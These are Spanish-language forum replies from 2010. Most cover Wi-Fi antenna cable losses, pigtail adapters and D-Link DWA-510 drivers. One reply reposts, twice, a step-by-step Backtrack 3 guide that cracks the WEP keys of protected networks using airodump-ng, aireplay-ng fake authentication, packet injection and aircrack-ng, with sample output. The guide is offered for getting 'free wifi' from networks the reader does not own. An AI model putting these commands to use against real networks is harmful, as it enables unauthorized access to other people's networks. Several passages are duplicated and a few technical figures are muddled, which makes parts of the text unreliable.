Alfa 500 mW + Antena Parabólica ( 24 Db )
Bosslan USB hasta 500mW
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#1401
Materiales y equipos / Re: elección de adaptador de USB
14 Octubre 2010, 00:11 AM[/size]
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#1402
Materiales y equipos / Re: Antenas wifi? Como se conectan?
14 Octubre 2010, 00:04 AM
Bueno, hola, conectarlas es algo godido y hay que hacer unos calculos para saber que tipo de cable usar y cuantos metros. si usas un coaxial comun el que se usa para tv-cable; por cada metro de cable tendras una caida de 1 dbi + o -. si usas ejemplo 6 metros y tu placa es de 19 dbi te quedaran unos (12,22 dbi). tambien dependiendo el conector que tenga puede tener una caida de 1 dbi cada conector.
El motivo fundamental y principal por lo que se utiliza una antena externa no es alejar la antena del equipo wireless, sino poder conseguir aumentar el alcance de este equipo. Esto quiere decir que, para instalar una antena externa, no se debe pensar en unir la antena con el equipo wifi con un largo cable, sino todo lo contrario. El cable introduce perdidas en la señal que van desde los 0.05 a 1dB por metro y a precios desde 1 a 50 euros por metro (dependiendo de la calidad del cable). POr lo tanto, a menor longitud del cable, menores perdidas. Hay instalaciones que idealmente esto no es así, es decir necesitamos mas longitud de cable para poder salvar un obstáculo muy grueso , por ejemplo una pared de hormigón armado de grueso considerable. Pero evitarlo en la medida que se posible, y determinar el tipo de cable mas adecuado para vuestra instalación y por supuesto apropiado para vuestra economía.
Por otro lado, el cable tiene soldado o crimpado un conector en cada extremo. Como los conectores pueden encontrase en cualquier tienda especializada, cualquiera puede fabricarse un cable con sus respectivos conectores, lo que habitualmente llamamos pigtail. Sin embargo es recomendable comprar el cable completo por sus conectores ya puestos. La razón viene dada por el siguiente motivo, soldar o crimpar conectores y/o cables es un arte y una ciencia que requiere contar con experiencias para obtener resultados óptimos.
Para comprar el cable, hay que asegurarse que sea optimo para la frecuencia de 2.4GHz. Un cable puede ser muy apropiado para se utilizado en aplicaciones de televisión y video y no ser adecuado para el mundo wireless. Elegir el cable adecuado es casi tan importante como elegir la antena adecuada. Todos los cables introducen perdidas, pero unos introducen mas perdidas que otros.
Quizás, los cables mas usados en la frecuencia de wireless (wifi) sean los de tipo de LMR. Estos son unos cables fabricados por Times Microwave Systems (www.timesmicrowave.com). Una alternativa son los cables Heliax fabricados por Andrew Corporation (www.andrew.com). Estos son unos cables que introducen muy poca perdida a la señal pero a cambio de un alto coste. También podemos interesarnos por los cables fabricados por Belden (www.belden.com)
Nota recordatoria: Los LMR-400 tienen un diámetro de aproximadamente 12mm y los LMR-200 un diámetro de 6mm. Los conectores para los cables del tipo RG58 suelen ser los mismos que para los cables del tipo LMR-200 debido a que presentan diámetros de cable para crimpado muy parecidos.
Sin embargo para instalaciones caseras el que mas usado es el RG58, ya que es muy barato y fácil de encontrar, pero es el que mayor perdida tienes, mas de 1dB por metro, por lo tanto debemos reducir la longitud a lo máximo posible, si estamos usando cables de este tipo. Yo personalmente uso tipo de este cable para una antena de 12dB, y entre conectores y cable quizás pierda mas de 3dB en la instalación. O sea como si tuviera solo una antena de 9dB siendo muy generoso con los cálculos.
Os adjunto una tabla con tipos de cables y sus perdidas en función de la longitud de cable, siempre para el estándar 802.11b/g donde la frecuencia de trabajo es de 2.4GHz. Existe otro estándar para equipos wireless, el 802.11a que trabaja con frecuencias de 5GHz pero su futuro es incierto y la mayoría de redes locales en el ámbito inalámbrico y también en el ámbito corporativo trabaja a frecuencias del estándar 802.111g. Las pérdidas son en relaciona un metro, si vuestra longitud es diferente solo tenéis que multiplicar por ese valor. En el caso de medio metro seria multiplicar por 0.5 y en el caso de un metro y medio seria multiplicar por 1.5.
[/b][/size]
Tipo de cable Perdida 802.11b/g (2.4GHz) dB/1m
LMR-100 1.3 dB por metro
LMR-195 0.62 dB por metro
LMR-200 0.542 dB por metro
LMR-240 0.415 dB por metro
LMR-300 0.34 dB por metro
LMR-400 0.217 dB por metro
LMR-500 0.18 dB por metro
LMR-600 0.142 dB por metro
LMR-900 0.096 dB por metro
LMR-1200 0.073 dB por metro
LMR-1700 0.055 dB por metro
RG-58 1.056 dB por metro
RG-8X 0.758 dB por metro
RG-213/214 0.499dB por metro
9913 0.253 dB por metro
3/8" LDF 0.194 dB por metro
1/2" LDF 0.128 dB por metro
7/8" LDF 0.075 dB por metro
1 1/4" LDF 0.056 dB por metro
1 5/" LDF 0.046 dB por metro
El adaptador o pigtail.
A diferencia de las antenas, los adaptadores de red wireless no suelen disponer de un conector tipo N, sino mas bien RP-SMA o ninguno. Esto no quiere decir que no se puede conectar directamente el cable de la antena (con conector N) a equipo wireless (con conector distinto, posiblemente propietario o ninguno). Por lo tanto, para permitir la conexión, es imprescindible conseguir un adaptador del conector tipo N al del tipo de equipo wireless (tarjeta inalámbrica). A estos adaptadores se les conoce mejor por su termino en ingles: pigtail (literalmente, trenza).
En el mercado se pueden encontrar adaptadores de conectores para distintos modelos de equipo wireless. De hecho, existen fabricantes de equipos inalámbricos que también fabrican antenas externas. En estos casos, el propio fabricante, lógicamente tiene resuelta la conexión. También existen conectores adaptadores de conector N a otro tipo de conector. Si se tiene suerte, es posible que se encuentre el adaptador (pigtail) adecuado para la tarjeta de que se dispone.
Si no se encuentra en el mercado el adaptador adecuado, la única solución que queda es fabricarse el adaptador. Normalmente, la fabricación de un adaptador (pigtail) consiste en utilizar un cable con conector N en un extremo y conectarlo al equipo wireless por el otro extremo soldándolo directamente en su contacto correspondiente. Para ello, es necesario abrir la tarjeta wireless, identificar las conexiones de la antena externa y realizar la soldadura sacando el cable por el sitio que se vea mas adecuado.
Pero antes de lanzarse a fabricar un adaptador (pigtail), conviene saber que realizar esta operación no solo deja a la tarjeta wireless sin garantía, sino que se tiene el riesgo de producirle daños irreparables al equipo, en principio esta operación solo debe ser realizada por personal especializado o con mucho arte para esto. Aunque esta claro que solo hay una manera de aprender, y solo es intentándolo.
Fuente: Propia y Seguridad Wireless
El motivo fundamental y principal por lo que se utiliza una antena externa no es alejar la antena del equipo wireless, sino poder conseguir aumentar el alcance de este equipo. Esto quiere decir que, para instalar una antena externa, no se debe pensar en unir la antena con el equipo wifi con un largo cable, sino todo lo contrario. El cable introduce perdidas en la señal que van desde los 0.05 a 1dB por metro y a precios desde 1 a 50 euros por metro (dependiendo de la calidad del cable). POr lo tanto, a menor longitud del cable, menores perdidas. Hay instalaciones que idealmente esto no es así, es decir necesitamos mas longitud de cable para poder salvar un obstáculo muy grueso , por ejemplo una pared de hormigón armado de grueso considerable. Pero evitarlo en la medida que se posible, y determinar el tipo de cable mas adecuado para vuestra instalación y por supuesto apropiado para vuestra economía.
Por otro lado, el cable tiene soldado o crimpado un conector en cada extremo. Como los conectores pueden encontrase en cualquier tienda especializada, cualquiera puede fabricarse un cable con sus respectivos conectores, lo que habitualmente llamamos pigtail. Sin embargo es recomendable comprar el cable completo por sus conectores ya puestos. La razón viene dada por el siguiente motivo, soldar o crimpar conectores y/o cables es un arte y una ciencia que requiere contar con experiencias para obtener resultados óptimos.
Para comprar el cable, hay que asegurarse que sea optimo para la frecuencia de 2.4GHz. Un cable puede ser muy apropiado para se utilizado en aplicaciones de televisión y video y no ser adecuado para el mundo wireless. Elegir el cable adecuado es casi tan importante como elegir la antena adecuada. Todos los cables introducen perdidas, pero unos introducen mas perdidas que otros.
Quizás, los cables mas usados en la frecuencia de wireless (wifi) sean los de tipo de LMR. Estos son unos cables fabricados por Times Microwave Systems (www.timesmicrowave.com). Una alternativa son los cables Heliax fabricados por Andrew Corporation (www.andrew.com). Estos son unos cables que introducen muy poca perdida a la señal pero a cambio de un alto coste. También podemos interesarnos por los cables fabricados por Belden (www.belden.com)
Nota recordatoria: Los LMR-400 tienen un diámetro de aproximadamente 12mm y los LMR-200 un diámetro de 6mm. Los conectores para los cables del tipo RG58 suelen ser los mismos que para los cables del tipo LMR-200 debido a que presentan diámetros de cable para crimpado muy parecidos.
Sin embargo para instalaciones caseras el que mas usado es el RG58, ya que es muy barato y fácil de encontrar, pero es el que mayor perdida tienes, mas de 1dB por metro, por lo tanto debemos reducir la longitud a lo máximo posible, si estamos usando cables de este tipo. Yo personalmente uso tipo de este cable para una antena de 12dB, y entre conectores y cable quizás pierda mas de 3dB en la instalación. O sea como si tuviera solo una antena de 9dB siendo muy generoso con los cálculos.
Os adjunto una tabla con tipos de cables y sus perdidas en función de la longitud de cable, siempre para el estándar 802.11b/g donde la frecuencia de trabajo es de 2.4GHz. Existe otro estándar para equipos wireless, el 802.11a que trabaja con frecuencias de 5GHz pero su futuro es incierto y la mayoría de redes locales en el ámbito inalámbrico y también en el ámbito corporativo trabaja a frecuencias del estándar 802.111g. Las pérdidas son en relaciona un metro, si vuestra longitud es diferente solo tenéis que multiplicar por ese valor. En el caso de medio metro seria multiplicar por 0.5 y en el caso de un metro y medio seria multiplicar por 1.5.
Tabla de perdidas
Tipo de cable Perdida 802.11b/g (2.4GHz) dB/1m
LMR-100 1.3 dB por metro
LMR-195 0.62 dB por metro
LMR-200 0.542 dB por metro
LMR-240 0.415 dB por metro
LMR-300 0.34 dB por metro
LMR-400 0.217 dB por metro
LMR-500 0.18 dB por metro
LMR-600 0.142 dB por metro
LMR-900 0.096 dB por metro
LMR-1200 0.073 dB por metro
LMR-1700 0.055 dB por metro
RG-58 1.056 dB por metro
RG-8X 0.758 dB por metro
RG-213/214 0.499dB por metro
9913 0.253 dB por metro
3/8" LDF 0.194 dB por metro
1/2" LDF 0.128 dB por metro
7/8" LDF 0.075 dB por metro
1 1/4" LDF 0.056 dB por metro
1 5/" LDF 0.046 dB por metro
El adaptador o pigtail.
A diferencia de las antenas, los adaptadores de red wireless no suelen disponer de un conector tipo N, sino mas bien RP-SMA o ninguno. Esto no quiere decir que no se puede conectar directamente el cable de la antena (con conector N) a equipo wireless (con conector distinto, posiblemente propietario o ninguno). Por lo tanto, para permitir la conexión, es imprescindible conseguir un adaptador del conector tipo N al del tipo de equipo wireless (tarjeta inalámbrica). A estos adaptadores se les conoce mejor por su termino en ingles: pigtail (literalmente, trenza).
En el mercado se pueden encontrar adaptadores de conectores para distintos modelos de equipo wireless. De hecho, existen fabricantes de equipos inalámbricos que también fabrican antenas externas. En estos casos, el propio fabricante, lógicamente tiene resuelta la conexión. También existen conectores adaptadores de conector N a otro tipo de conector. Si se tiene suerte, es posible que se encuentre el adaptador (pigtail) adecuado para la tarjeta de que se dispone.
Si no se encuentra en el mercado el adaptador adecuado, la única solución que queda es fabricarse el adaptador. Normalmente, la fabricación de un adaptador (pigtail) consiste en utilizar un cable con conector N en un extremo y conectarlo al equipo wireless por el otro extremo soldándolo directamente en su contacto correspondiente. Para ello, es necesario abrir la tarjeta wireless, identificar las conexiones de la antena externa y realizar la soldadura sacando el cable por el sitio que se vea mas adecuado.
Pero antes de lanzarse a fabricar un adaptador (pigtail), conviene saber que realizar esta operación no solo deja a la tarjeta wireless sin garantía, sino que se tiene el riesgo de producirle daños irreparables al equipo, en principio esta operación solo debe ser realizada por personal especializado o con mucho arte para esto. Aunque esta claro que solo hay una manera de aprender, y solo es intentándolo.
Fuente: Propia y Seguridad Wireless
#1403
Materiales y equipos / Re: DWA-510 Compatible Backtrack
13 Octubre 2010, 23:53 PM
Agrego algo, te recomiendo que uses los driver de ReLink (Del Sitio WEB) ya que los del CD de D-Link pueden causar errores.
#1404
Materiales y equipos / Re: DWA-510 Compatible Backtrack
13 Octubre 2010, 23:49 PM
primero que todo entrar al setup de tu pc y activar la opcion de inicio desde un dispositivo de este tipo (ojo que no todos los pcs tienen esta caracteristica) si no, lo unico que te queda es iniciarlo desde un cd. a mi me paso eso y tuve que hacerlo asi, ademas de eso lo hice desde mi pc de escritorio, al cual le conecté una tarjeta pci D-Link dwa-510 (super económica) y segui los pasos al pie de la letra de este manual. te recomiendo si quieres hacerlo de esta manera, que ocupes esta tarjeta o al menos te averigues si en driver del chipset de la tarjeta que tienes esta soportado. en el caso de la mia el chipset es un ralink (rt61)
Esta es una guía para conseguir la claves wep de los puntos wifi protegidos con contraseña usando una distribución de linux llamada Backtrack 3 que instalaremos en un pendrive y nuestro pequeño Asus Eee utilizando Windows xp.
¿Empezamos?
Requisitos previos:
Necesitaremos el Backtrack 3 versión USB: Descargar desde aqui.
Descomprimimos el archivo y obtenemos dos carpetas que debemos meter en la raiz del pendrive (usb flash memory). Por ejemplo e:
En windows vamos al menu de inicio > ejecutar > cmd
Se nos abre una “terminal” de Dos en la que tendremos que navegar hasta el pendrive, en este caso tecleamos e: y pulsamos enter.
Tecleamos: cd boot para entrar en la carpeta boot que metimos antes en e: (el pendrive). Enter.
Ahora ejecutamos el archivo bootinst.bat (escribe eso y dale al enter).
Seguimos las instrucciones y ya deberíamos tener un pendrive “bootable” con el que podremos iniciar el sistema operativo Backtrack 3 antes de arrancar windows.
Bien, ahora empieza lo divertido…
Enchufamos el pendrive en el lado izquierdo del eee, no se porqué pero vá mejor.
Reiniciamos el pc y cuando salga la pantalla gris con el logo del Eee presionamos la tecla Esc.
Nos saldrá un menu azul que nos permitirá seleccionar desde donde arrancar, elegimos obviamente el pendrive (booteable gracias a los pasos anteriores).
Ahora salen unas cosas muy raras y le damos a enter y esperamos. Tranquilos, es solo para “acojonar” luego es bastante facil.
Una vez nos carga el sistema operativo veremos que es muy similar en el aspecto gráfico al windows.
PASO 1:
NOTA: Para abrir una terminal presionamos Ctrl+Alt+T o al lado del “menu de inicio” hay un icono cuadrado negro.
En una terminal pones:
airmon-ng start wifi0
a continuación:
airodump-ng ath1
cuando encuentres tu red wifi ctrl+c para parar la búsqueda y escribes
airodump-ng -c [channel] –bssid [AP MAC] -w [filename] ath1
donde(no hay que poner corchetes):
[channel] es el canal
[AP MAC] es la dirección mac, XX:XX:XX:XX:XX
[filename] el nombre de archivo que le quieres dar, por ejemplo “casa”, recuerdalo.
PASO 2:
Abre una nueva terminal, ya sabes como…
aireplay-ng –fakeauth 0 -e [AP SSID] -a [AP MAC] ath1
donde:
[AP SSID] es el nombre del Punto de acceso: Por ejemplo WLANCASA o lo que salga ahi en la primera terminal.
Si te sale esto felicidades:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful
Si no, intenta con lo siguiente:
Aireplay-ng –fakeauth 6000 -o 1 -q 10 -e [AP SSID] -a [AP MAC] ath1
Y te debería salir algo como esto:
18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packet
Si no, olvidate.
Ahora que ya te funciona hay que empezar a inyectar, espero que no tengas miedo de las agujas…
PASO 3:
aireplay-ng -3 -b [AP MAC] ath1 -x 250
Ahora vete a la nevera y preparate una cocacola y unas aceitunas. En un par de minutos empezarás a ver como
la columna DATA de la primera terminal empieza a subir (los números, no es que se mueva de posición ¬¬).
Espera hata tener unos 40.000 más o menos y abre una tercera terminal.
PASO 4:
Quiero mi clave yaaaarl!!!
aircrack-ng -z -b [AP MAC] [filename*.cap]
En lo de filename deberias poner lo que te dije antes, en tu caso sería casa.cap o lo que hayas puesto.
Espera otro poquito, y ya te aparecerá la clave, la apuntas en un papel y listo. Reinicia con tu SO favorito
y disfruta de tu wifi gratis.
Gracias a http://www.georgehafiz.co.uk/aircrackeeepc.php
Black Track
Esta es una guía para conseguir la claves wep de los puntos wifi protegidos con contraseña usando una distribución de linux llamada Backtrack 3 que instalaremos en un pendrive y nuestro pequeño Asus Eee utilizando Windows xp.
¿Empezamos?
Requisitos previos:
Necesitaremos el Backtrack 3 versión USB: Descargar desde aqui.
Descomprimimos el archivo y obtenemos dos carpetas que debemos meter en la raiz del pendrive (usb flash memory). Por ejemplo e:
En windows vamos al menu de inicio > ejecutar > cmd
Se nos abre una “terminal” de Dos en la que tendremos que navegar hasta el pendrive, en este caso tecleamos e: y pulsamos enter.
Tecleamos: cd boot para entrar en la carpeta boot que metimos antes en e: (el pendrive). Enter.
Ahora ejecutamos el archivo bootinst.bat (escribe eso y dale al enter).
Seguimos las instrucciones y ya deberíamos tener un pendrive “bootable” con el que podremos iniciar el sistema operativo Backtrack 3 antes de arrancar windows.
Bien, ahora empieza lo divertido…
Enchufamos el pendrive en el lado izquierdo del eee, no se porqué pero vá mejor.
Reiniciamos el pc y cuando salga la pantalla gris con el logo del Eee presionamos la tecla Esc.
Nos saldrá un menu azul que nos permitirá seleccionar desde donde arrancar, elegimos obviamente el pendrive (booteable gracias a los pasos anteriores).
Ahora salen unas cosas muy raras y le damos a enter y esperamos. Tranquilos, es solo para “acojonar” luego es bastante facil.
Una vez nos carga el sistema operativo veremos que es muy similar en el aspecto gráfico al windows.
PASO 1:
NOTA: Para abrir una terminal presionamos Ctrl+Alt+T o al lado del “menu de inicio” hay un icono cuadrado negro.
En una terminal pones:
airmon-ng start wifi0
a continuación:
airodump-ng ath1
cuando encuentres tu red wifi ctrl+c para parar la búsqueda y escribes
airodump-ng -c [channel] –bssid [AP MAC] -w [filename] ath1
donde(no hay que poner corchetes):
[channel] es el canal
[AP MAC] es la dirección mac, XX:XX:XX:XX:XX
[filename] el nombre de archivo que le quieres dar, por ejemplo “casa”, recuerdalo.
PASO 2:
Abre una nueva terminal, ya sabes como…
aireplay-ng –fakeauth 0 -e [AP SSID] -a [AP MAC] ath1
donde:
[AP SSID] es el nombre del Punto de acceso: Por ejemplo WLANCASA o lo que salga ahi en la primera terminal.
Si te sale esto felicidades:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful
Si no, intenta con lo siguiente:
Aireplay-ng –fakeauth 6000 -o 1 -q 10 -e [AP SSID] -a [AP MAC] ath1
Y te debería salir algo como esto:
18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packet
Si no, olvidate.
Ahora que ya te funciona hay que empezar a inyectar, espero que no tengas miedo de las agujas…
PASO 3:
aireplay-ng -3 -b [AP MAC] ath1 -x 250
Ahora vete a la nevera y preparate una cocacola y unas aceitunas. En un par de minutos empezarás a ver como
la columna DATA de la primera terminal empieza a subir (los números, no es que se mueva de posición ¬¬).
Espera hata tener unos 40.000 más o menos y abre una tercera terminal.
PASO 4:
Quiero mi clave yaaaarl!!!
aircrack-ng -z -b [AP MAC] [filename*.cap]
En lo de filename deberias poner lo que te dije antes, en tu caso sería casa.cap o lo que hayas puesto.
Espera otro poquito, y ya te aparecerá la clave, la apuntas en un papel y listo. Reinicia con tu SO favorito
y disfruta de tu wifi gratis.
Gracias a http://www.georgehafiz.co.uk/aircrackeeepc.php
#1405
Materiales y equipos / Re: Consejo para comprar adaptador USB
13 Octubre 2010, 23:32 PM
Una Alfa500 o bosslan500 o Edimax EW-7318USg
#1406
Materiales y equipos / Re: d-link dwa 510 mas wifislax 3.1
12 Octubre 2010, 23:36 PMCita de: KARR en 19 Diciembre 2008, 08:54 AM
Según google trae un chipset atheros, entonces tiene que ser compatible, sino bájate wifiway 1.0 que es una distro más nueva, y leete los manuales:
http://foro.elhacker.net/wireless_en_linux/manual_basico_para_wifislax-t214456.0.html
http://foro.elhacker.net/wireless_en_linux/guia_completa_aircrackng-t231434.0.html
Un saludo
El Chipset de la DWA-510 es un Realtek RT2561 (RT61) y si funciona tanto en wifislax como en wifiway pero tenes que bajar los drivers del sitio web de realtek y listo.............
#1407
Wireless en Windows / Re: Problema poniendo a modo Monitor en una D link DWA 510
12 Octubre 2010, 23:06 PM
yo y como muchos nos hemos comprado una placa un poco cara como es la D-LINK DWA-510, con un valor de unos 150$ +4 años de garantia.
Bueno, ami me paso lo mismo que a vos, tube bastantes problemas para utilizar esta placa en linux, en windows no he tenido ningun problema.
para agregar un poco de data:
La D-LINK DWA-510 es una placa bastante buena; su calidad es de 19 dbi (Aprox.) cuando la calidad de otras placas de las mismas dimenciones son solo de 14 a 15 dbi. Con la antena que viene; se puede llegar a 200m (Aprox.) con una conexion de 3MB de Calidad (descarga aprox. de 652KB/s). En si hay muchos drivers para esta placa; principalmente tenemos los que vienen de fabrica Creados por D-Link (CD-Inclui.) y despues tenemos otras variantes; como por ejemplo: los driver que se encuentran en el sitio web de D-Link son las ultimas actualizaciones de ellos, los del CD son del año 2007 y soportan hasta WinXP; en cambio los del sitio soportan hasta el Win7. Tambien algo que no incluye el CD es los driver para Linux, los cuales estan en la Web. Tambien hay otra opcion, los driver genericos 100% originales de Ralink, los cuales estan 100% diceñados para estos Chips.
Actualmente en la Pagina web de Ralink Corp. estan los drivers que yo he utilizado:
PCI/mPCI/CB (RT256x/RT266x) (Windows)
RT2501PCI/mPCI/CB(RT61:RT2561/RT2561S/RT2661) (Linux 2010)
bueno siguiendo con el tema, el software que viene de D-Link es una desgracia....
yo te recomiendo que uses esos Drivers 100%!
otra cosa, si has de usar una antena diferente ya tienes problemas; supon que tienes que invertir unos 200 o más pesos para el cable. ya que si usas un coaxial comun de 80 Ohm por cada metro tendras unos 0.80 dbi de perdida.
bueno, medio que me fui de tema; pero pongo esta info. ya que en internet poco se encuentra sobre la D-Link DWA-510!
Bueno, ami me paso lo mismo que a vos, tube bastantes problemas para utilizar esta placa en linux, en windows no he tenido ningun problema.
para agregar un poco de data:
La D-LINK DWA-510 es una placa bastante buena; su calidad es de 19 dbi (Aprox.) cuando la calidad de otras placas de las mismas dimenciones son solo de 14 a 15 dbi. Con la antena que viene; se puede llegar a 200m (Aprox.) con una conexion de 3MB de Calidad (descarga aprox. de 652KB/s). En si hay muchos drivers para esta placa; principalmente tenemos los que vienen de fabrica Creados por D-Link (CD-Inclui.) y despues tenemos otras variantes; como por ejemplo: los driver que se encuentran en el sitio web de D-Link son las ultimas actualizaciones de ellos, los del CD son del año 2007 y soportan hasta WinXP; en cambio los del sitio soportan hasta el Win7. Tambien algo que no incluye el CD es los driver para Linux, los cuales estan en la Web. Tambien hay otra opcion, los driver genericos 100% originales de Ralink, los cuales estan 100% diceñados para estos Chips.
Actualmente en la Pagina web de Ralink Corp. estan los drivers que yo he utilizado:
PCI/mPCI/CB (RT256x/RT266x) (Windows)
RT2501PCI/mPCI/CB(RT61:RT2561/RT2561S/RT2661) (Linux 2010)
bueno siguiendo con el tema, el software que viene de D-Link es una desgracia....
yo te recomiendo que uses esos Drivers 100%!
otra cosa, si has de usar una antena diferente ya tienes problemas; supon que tienes que invertir unos 200 o más pesos para el cable. ya que si usas un coaxial comun de 80 Ohm por cada metro tendras unos 0.80 dbi de perdida.
bueno, medio que me fui de tema; pero pongo esta info. ya que en internet poco se encuentra sobre la D-Link DWA-510!